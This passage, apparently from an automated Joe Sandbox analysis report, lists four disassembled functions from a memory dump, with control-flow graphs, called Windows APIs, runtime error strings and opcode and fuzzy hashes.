                                                                • Instruction Fuzzy Hash: 9A21F8B0305A0192FA6BDB53F9483E92360B76CBD0F448421EF1A47AB4DB79C98AC300
                                                                Function 0000000140001E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 545 140001e10-140001e2d 546 140001e3e-140001e48 545->546 547 140001e2f-140001e38 545->547 549 140001ea3-140001ea8 546->549 550 140001e4a-140001e53 546->550 547->546 548 140001f60-140001f69 547->548 549->548 553 140001eae-140001eb3 549->553 551 140001e55-140001e60 550->551 552 140001ecc-140001ed1 550->552 551->549 554 140001f23-140001f2d 552->554 555 140001ed3-140001ee2 signal 552->555 556 140001eb5-140001eba 553->556 557 140001efb-140001f0a call 140006ad0 553->557 560 140001f43-140001f45 554->560 561 140001f2f-140001f3f 554->561 555->554 558 140001ee4-140001ee8 555->558 556->548 562 140001ec0 556->562 557->554 566 140001f0c-140001f10 557->566 563 140001eea-140001ef9 signal 558->563 564 140001f4e-140001f53 558->564 560->548 561->560 562->554 563->548 567 140001f5a 564->567 568 140001f12-140001f21 signal 566->568 569 140001f55 566->569 567->548 568->548 569->567
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000002A.00000002.3825790879.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 0000002A.00000002.3825760093.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825815180.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825837239.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825857904.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_42_2_140000000_conhost.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: CCG
                                                                • API String ID: 0-1584390748
                                                                • Opcode ID: 38169c844ed26cb13454801cef406e8a94d00939990f7d78723699de957bd425
                                                                • Instruction ID: 4d6f217dfeb6d9e17f7c3982d90ffc55239669622623fea9138ee2928b50566b
                                                                • Opcode Fuzzy Hash: 38169c844ed26cb13454801cef406e8a94d00939990f7d78723699de957bd425
                                                                • Instruction Fuzzy Hash: A3214CB1B0161542FA77DA2BF5903FA1192ABCD7E4F258535FF1A473F5DE3888828241
                                                                Function 0000000140001880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 570 140001880-14000189c 571 1400018a2-1400018f9 call 140002420 call 140002660 570->571 572 140001a0f-140001a1f 570->572 571->572 577 1400018ff-140001910 571->577 578 140001912-14000191c 577->578 579 14000193e-140001941 577->579 581 14000194d-140001954 578->581 582 14000191e-140001929 578->582 580 140001943-140001947 579->580 579->581 580->581 584 140001a20-140001a26 580->584 585 140001956-140001961 581->585 586 14000199e-1400019a6 581->586 582->581 583 14000192b-14000193a 582->583 583->579 589 140001b87-140001b98 call 140001d40 584->589 590 140001a2c-140001a37 584->590 587 140001970-14000199c call 140001ba0 585->587 586->572 588 1400019a8-1400019c1 586->588 587->586 594 1400019df-1400019e7 588->594 590->586 591 140001a3d-140001a5f 590->591 595 140001a7d-140001a97 591->595 596 1400019e9-140001a0d VirtualProtect 594->596 597 1400019d0-1400019dd 594->597 600 140001b74-140001b82 call 140001d40 595->600 601 140001a9d-140001afa 595->601 596->597 597->572 597->594 600->589 607 140001b22-140001b26 601->607 608 140001afc-140001b0e 601->608 611 140001b2c-140001b30 607->611 612 140001a70-140001a77 607->612 609 140001b5c-140001b6c 608->609 610 140001b10-140001b20 608->610 609->600 614 140001b6f call 140001d40 609->614 610->607 610->609 611->612 613 140001b36-140001b57 call 140001ba0 611->613 612->586 612->595 613->609 614->600
                                                                APIs
                                                                • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000140001247), ref: 00000001400019F9
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000002A.00000002.3825790879.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 0000002A.00000002.3825760093.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825815180.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825837239.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825857904.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_42_2_140000000_conhost.jbxd
                                                                Similarity
                                                                • API ID: ProtectVirtual
                                                                • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                                                • API String ID: 544645111-395989641
                                                                • Opcode ID: 549065ebbaaacac7af01a02dac067995769743cefac2621fb67829ca21da6e66
                                                                • Instruction ID: 7b158fb3713a3061293f9ea4dfc1a1b5cc6f81aa9114ce7ea307f59c52e97846
                                                                • Opcode Fuzzy Hash: 549065ebbaaacac7af01a02dac067995769743cefac2621fb67829ca21da6e66
                                                                • Instruction Fuzzy Hash: D15115B6B11544DAEB12CF67F841BD82761A759BE8F548211FB1D077B4DB38C586C700
                                                                Function 0000000140001800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 618 140001800-140001810 619 140001812-140001822 618->619 620 140001824 618->620 621 14000182b-140001867 call 140002290 fprintf 619->621 620->621
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000002A.00000002.3825790879.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 0000002A.00000002.3825760093.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825815180.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825837239.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825857904.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_42_2_140000000_conhost.jbxd
                                                                Similarity
                                                                • API ID: fprintf
                                                                • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                                • API String ID: 383729395-3474627141
                                                                • Opcode ID: 5a4655e5f7d9bc7fa14c795a7f63c94cd929b5219b64bcdb3273f472a942e7dc
                                                                • Instruction ID: 16811f742f11ff20b59475e39225b65b732edfb60784bdb26f76ef83c73ed472
                                                                • Opcode Fuzzy Hash: 5a4655e5f7d9bc7fa14c795a7f63c94cd929b5219b64bcdb3273f472a942e7dc
                                                                • Instruction Fuzzy Hash: 25F09671A14A4482E612EF6AB9417ED6361E75D7C1F50D211FF4E676A1DF3CD182C310
                                                                Function 000000014000219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 624 14000219e-1400021a5 625 140002272-140002280 624->625 626 1400021ab-1400021c2 EnterCriticalSection 624->626 627 140002265-14000226c LeaveCriticalSection 626->627 628 1400021c8-1400021d6 626->628 627->625 629 1400021e9-1400021f5 TlsGetValue GetLastError 628->629 630 1400021f7-1400021fa 629->630 631 1400021e0-1400021e7 629->631 630->631 632 1400021fc-140002209 630->632 631->627 631->629 632->631
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000002A.00000002.3825790879.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                                                • Associated: 0000002A.00000002.3825760093.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825815180.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825837239.0000000140009000.00000004.00000001.00020000.00000000.sdmpDownload File
                                                                • Associated: 0000002A.00000002.3825857904.000000014000A000.00000002.00000001.00020000.00000000.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_42_2_140000000_conhost.jbxd
                                                                Similarity
                                                                • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                                • String ID:
                                                                • API String ID: 682475483-0
                                                                • Opcode ID: d9f1a7fb7d620c15ffea2ce02aacef8734a5e410c6aecfc4b1b8398fb1dfb3d8
                                                                • Instruction ID: 2f34ca9de4f01c93604b96efa8ab876b374c4069194b8a7974a56712bffd5862
                                                                • Opcode Fuzzy Hash: d9f1a7fb7d620c15ffea2ce02aacef8734a5e410c6aecfc4b1b8398fb1dfb3d8
                                                                • Instruction Fuzzy Hash: 1101B6B5705A0192FA67DB53FD083D86360B76CBD1F458421EF1A53AB4DB75C99AC300